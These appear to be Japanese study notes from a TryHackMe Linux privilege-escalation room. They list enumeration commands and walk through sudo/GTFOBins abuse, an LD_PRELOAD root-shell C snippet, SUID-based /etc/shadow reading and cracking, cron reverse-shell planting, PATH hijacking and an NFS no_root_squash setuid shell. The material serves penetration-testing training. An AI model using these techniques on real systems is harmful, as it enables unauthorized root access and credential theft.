Linux 権限昇格
https://tryhackme.com/r/room/linprivesc
権限を昇格してできること
パスワードのリセット
アクセス制御を回避して保護されたデータを侵害する
ソフトウェア構成の編集
永続性の有効化
既存(または新規)ユーザーの権限の変更
任意の管理コマンドを実行する
列挙
システムにアクセスしたら最初に行うべきステップ
侵害前と同様に侵害後のフェーズでも重要
列挙していくもの
ホスト名
hostnameコマンド
システムで使用されているカーネルの詳細
権限昇格につながる可能性のあるカーネルの脆弱性を検索するときに役立つ
uname -aコマンド
ターゲットシステムのプロセスに関する情報
カーネルのバージョンに関する情報
コンパイラがインストールされているかなどの情報
cat /proc/versionコマンド
OSに関する情報やOSに関する情報の変更ができる
システムをより明確に理解するためにはcat /etc/issuseでみれる
実行中のプロセスを確認する
psコマンド
ps -A: 実行中のすべてのプロセスを表示
ps axjf: プロセスツリーを表示
sudoユーザーが実行できるすべてのコマンドを一覧表示
sudo -lコマンド
これを誰かにサインインした状態で使うと、その人がroot権限で実行できるコマンドがわかる
権限を上昇させるときに使える
lsじゃなくてls -laを使え!!!!
潜在的な特権昇格のベクトルを探す際には、常にlsコマンドを-laオプション付きで使用しろ!!
見逃すぞ!!
ユーザーの権限レベルとグループメンバーシップの概要を表示
id
システム上のユーザーを列挙
/etc/passwdファイル
簡単に切り取ってブルートフォース攻撃に利用できるリスト作成できるコマンド
cat /etc/passwd | cut -d ":" -f 1
上の方では、役に立たないシステム ユーザーやサービス ユーザーも含まれる
別の方法としては、実際のユーザーは「home」ディレクトリの下にフォルダーを持っている可能性が高いため、「home」を grep で検索することもできる
cat /etc/passwd | grep home
たまにパスワードやユーザー名などの情報が保存されてることがある
システムに対するアイデアを得られる
history
別のネットワークを探してターゲットシステムから横展開のアイデアを得る
ifconfig
どのネットワーク ルートが存在するかを確認するコマンド
ip route
既存の通信接続に関する情報を収集
netstat -a: すべてのリスニング ポートと確立された接続を表示します。
netstat -atまたは、 それぞれ TCP またはUDPnetstat -auプロトコルを一覧表示するためにも使用できます。
netstat -l: 「リスニング」モードのポートを一覧表示します。これらのポートは開いており、着信接続を受け入れる準備ができています。これを「t」オプションと一緒に使用すると、TCPプロトコルを使用してリスニングしているポートのみを一覧表示
netstat -s -t
プロトコル別にネットワーク使用状況の統計を一覧表示
-uと組み合わせることで出力を特定のプロトコルに制限することもできる
netstat -tp
サービス名とPID 情報を含む接続を一覧表示
-l
リスニングポートをリストするオプション
netstat -i
インターフェースの統計情報を表示する
どの通信が一番アクティブなのかがわかる
ログ投稿、記事、コースで最も頻繁に目にする用法は、 netstat -ano
-a: すべてのソケットを表示
-n: 名前を解決しない
-o: タイマーを表示
ファイル検索
「find」コマンドを「-type f 2>/dev/null」とともに使用して、エラーを「/dev/null」にリダイレクトし、よりクリーンな出力を得るのが賢明
find / -name "ファイル名" 2>/dev/null
全体から検索したいとき
find . -name flag1.txt: 現在のディレクトリで「flag1.txt」という名前のファイルを見つけます
find /home -name flag1.txt: /homeディレクトリ内のファイル名「flag1.txt」を探す
find / -type d -name config: “/” の下にある config というディレクトリを見つけます
find / -type f -perm 0777: 777 権限を持つファイルを検索します (すべてのユーザーが読み取り、書き込み、実行できるファイル)
find / -perm a=x: 実行可能ファイルを見つける
find /home -user frank: 「/home」の下にあるユーザー「frank」のすべてのファイルを検索します
find / -mtime 10: 過去10日間に変更されたファイルを検索
find / -atime 10: 過去10日間にアクセスされたファイルを検索
find / -cmin -60: 過去 1 時間 (60 分) 以内に変更されたファイルを検索します
find / -amin -60: 過去 1 時間 (60 分) 以内にアクセスされたファイルを検索します
find / -size 50M: 50 MB のファイルを検索
find / -writable -type d 2>/dev/null: 誰でも書き込み可能なフォルダを探す
これ、めちゃめちゃ大事で!!!これ使わないとできないexploit!!
find / -perm -222 -type d 2>/dev/null: 誰でも書き込み可能なフォルダを探す
find / -perm -o w -type d 2>/dev/null: 誰でも書き込み可能なフォルダを探す
find / -perm -o x -type d 2>/dev/null : ワールド実行可能フォルダを検索
開発ツールとサポートされている言語を見つける:
find / -name perl*
find / -name python*
python --version
find / -name gcc*
特定のファイル権限を見つける
find / -perm -u=s -type f 2>/dev/null
SUID ビットを持つファイルを検索します。これにより、現在のユーザーよりも高い権限レベルでファイルを実行できる
- u=s は「ユーザーID(setuid)」ビットが設定されているファイルを意味します。
- setuidビットが設定されたファイルは、そのファイルを実行するときに、ファイルの所有者の権限で実行されます。
自動列挙ツール
LinPeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
LinEnum: https://github.com/rebootuser/LinEnum
LES (Linux Exploit Suggester): https://github.com/mzet-/linux-exploit-suggester
Linux Smart Enumeration: https://github.com/diego-treitos/linux-smart-enumeration
Linux Priv Checker: https://github.com/linted/linuxprivchecker
Sudoでの権限昇格
sudo コマンド:
デフォルトでプログラムをルート権限で実行可能。
システム管理者は一般ユーザーに特定の権限のみ付与できる。
sudo -l コマンドでユーザーの現在の権限を確認可能。
gtfobins リソース:
https://gtfobins.github.io/ で、sudo権限を持つプログラムの利用方法を確認。
アプリケーション機能に漏れさせる
Apache2の -f オプションを利用し、設定ファイルを指定して情報を漏洩させることが可能。
/etc/shadow ファイルを読み込むと、最初の行がエラーメッセージに表示される。
LD_PRELOAD の活用
環境オプションで、共有ライブラリを任意のプログラムにロードできる。
env_keep オプションが有効な場合、プログラムの実行前にライブラリをロード可能。
実ユーザーIDと有効ユーザーIDが異なるとLD_PRELOADは無視される。
権限昇格手順
LD_PRELOAD(env_keep オプション付き)を確認。
Cコードを作成し、共有オブジェクト .so ファイルとしてコンパイル。
sudo権限でプログラムを実行し、LD_PRELOADオプションを指定。
ルートシェルを生成するシンプルなコードを shell.c として作成。
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
gcc を使用し、gcc -fPIC -shared -o shell.so shell.c -nostartfiles でコンパイル。
sudo LD_PRELOAD=/home/user/ldpreload/shell.so find でルート権限のシェルを生成。
権限昇格 SUID
ファイルには権限レベルの範囲内でユーザーに与えられる
SUID (Set-user Identification) と SGID (Set-group Identification) によって変わる
ファイル所有者とグループ所有者のパーミッションレベルでファイルを実行できる
SUIDなどが設定されているファイルには、特別なパーミッションレベルを示すsビットが設定されている
SUID バイナリ (Set User ID) を検索して一覧表示する
find / -type f -perm -04000 -ls 2>/dev/null
プラクティスとして、GTFOBins()と比較するといい
SUIDボタンをクリックすると、SUIDビットが設定されているときに悪用可能と知られているバイナリをフィルタリングできる
例の流れ
1. nanoテキストエディタに設定されているSUIDビットにより、ファイル所有者の権限でファイルの作成、編集、読み取りが可能
find / -type f -perm -04000 -ls 2>/dev/null
nanoはrootが所有しているため、現在のユーザーの権限よりも高い権限でファイルを読み取ったり編集したりできる可能性がある
2. 特権昇格するために、/etc/shadowファイルを読み取るか、/etc/passwdに自分のユーザーを追加したりできる
必要なファイルを読み取る
/etc/shadow
/etc/passwd
その後John the Ripperが解析可能なファイルを作成する
unshadow passwd.txt shadow.txt > passwords.txt
3. john the ripperでpasswords.txtを解読
john passwords.txt
新しいユーザーをroot権限で追加することもできる
面倒なパスワード解析プロセスを回避できる
1. 使用したいパスワードのハッシュ値を取得する
openssl passwd -1 -salt <SALT> <Password>
SALT(ソルト) : パスワードのハッシュかプロセスで使用されるランダムなデータ
同じパスワードでもソルトを変えることで辞書攻撃や#レインボーテーブル攻撃の効果を低減する
2. /etc/shadowに他のユーザーの書き方に沿ってユーザー名とパスワードを書く
root:/bin/bashを末尾につけるのを忘れない
権限昇格:Capabilities(機能)
特権の管理をより詳細に制御するために役立つ
バイナリのCapabilitieを変更することで特定のプロセスやバイナリをユーザーに高い権限を与えないまま、一般ユーザーが本来は使えない特定のプロセスやバイナリを一般ユーザーのまま使える
getcap ツールを使用して、有効なCapabilitiesをリスト表示することができる
具体的にはgetcap -r / 2>/dev/nullがエラーを出力しないから便利
SUIDを持つファイルを調べている際には、この特権昇格の手段を発見することはできない
GTFOBinsでCapabilitiesというタグで検索
権限昇格 : Cronジョブ
Cronジョブは、特定の時間にスクリプトやバイナリを実行するために使用される
デフォルトでは、それらは現在のユーザーではなく、所有者の権限で実行される
本来は脆弱ではないが、特定の条件下 では特権昇格の糸口となることもある
root権限で実行されるスケジュールされたタスクがあり、私たちがそのタスクの実行スクリプトを変更できる場合、そのスクリプトはroot権限で実行されることになる
Cronジョブの設定は、crontab(cronテーブル)として保存されており、タスクが実行される次の日時を確認できる
システム全体のcronジョブが記載されているファイル
/etc/crontab
実行されるcronジョブが実行するスクリプトにリバースシェルを仕掛けて実行させるシナリオ
実行されているcronジョブの一覧を確認
cat /etc/crontab
どれが現在のユーザーで書き込めるかを判断する
nanoとかでリバースシェルを書く
権限昇格 : PATH(環境変数)
PATH環境変数: システムがコマンド実行時にどのディレクトリを検索するかを指定する変数。指定されたフォルダに実行ファイルがない場合、PATH内の他のディレクトリを順に検索する。
特権昇格の方法
書き込み権限のあるフォルダがPATH内に存在し、その中に任意の名前の実行ファイル(例えばthm)を 作成できる場合、root権限で実行されるスクリプトがそのファイルを探して実行することがある。
これを利用し、ユーザー権限でbashなどをそのフォルダに配置して実行させることでroot権限のシェルを得ることができる。
手順
1. PATH内に書き込み可能なフォルダを見つける。
2. PATHにフォルダを追加し、そこに/bin/bashを「thm」という名前でコピーして実行可能にする。
3. root権限で実行されるスクリプトがその「thm」を見つけて実行することで、rootシェルを取得。
ユーザーが書き込み権限を持つフォルダがPATH内に存在する場合、そのアプリケーションを書き換えて独自のスクリプトを実行できる可能性がある
LinuxのPATHは、オペレーティングシステムが実行ファイルを検索する場所を示す環境変数
始める前に以下の確認事項をチェックする
$PATHにあるフォルダはどこですか?
現在のユーザーが書き込み権限を持つフォルダはありますか?
$PATHを変更できますか?
この脆弱性の影響を受けるスクリプト/アプリケーションを開始できますか?
デモ
1. 確認事項を全てチェックして以下のスクリプトを用意する
https://scrapbox.io/files/6732064567418b9f48da9cc6.png
「thm」というシステムバイナリを起動しようとしますが、この例は他の任意のバイナリで簡単に再現できる
2. 実行ファイルにコンパイルし、SUIDビットを設定
SUIDビットが設定された「path」スクリプトにユーザーがアクセスできるようになる
「path」を実行すると、PATH内にリストされたフォルダ内で「thm」という実行フ
PATHにリストされている書き込み可能なフォルダがある場合、そのディレクトリに「thm」という名前のバイナリを作成し、「path」スクリプトに実行させることができます。SUIDビットが設定されているため、このバイナリはroot権限で実行される
chmod u+s <filename>でroot権限にする
書き込み可能なフォルダを探すとき
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
権限昇格:NFS
ターゲットシステム上の共有フォルダやssh,telnetなどのリモート管理インターフェースを使用してroot権限を取得することもできる
rootのsshプライベートキーを見つけて、現在のユーザー権限を昇格させようとする代わりにroot権限で接続する的な
NFS(ネットワークファイル共有)の設定を使用した権限昇格
NFSの設定は/etc/exportsファイルに保存される
NFSサーバーのインストール時に作成され、通常ユーザーによって読み取ることができる
1. 現在のNFSの構成を確認する
cat /etc/exports
no_root_squashオプションがあるかどうかを確認する
デフォルトでは、NFSはrootユーザーをnfsnobodyに変更し、root権限でのファイル操作を行えなくする
「no_root_squash」オプションが書き込み可能な共有に存在する場合、SUIDビットを設定した実行ファイルを作成してターゲットシステムで実行することができる
2. 攻撃マシンからマウント可能な共有を列挙する
showmount -e <RemoteIP>
「no_root_squash」共有の1つを攻撃マシンにマウントし、実行ファイルの構築する
3. マウントする
mkdir /tmp/<適当な名前>
mount -o rw <RemoteIP>:<「no_root_squash」オプションが有効なフォルダ名> /tmp/<適当な名前>
4. ターゲットで実行する単純な実行ファイル
int main(){
setgird(0);
setuid(0);
system("/bin/bash");
}
コンパイル
gcc nfs.c -o nfs -w
権限をroot権限で
chmod +s nfs
5. remote側で作成し、マウントした実行ファイルを実行
./nfs
#TryHackMe
#JrPenetrationTester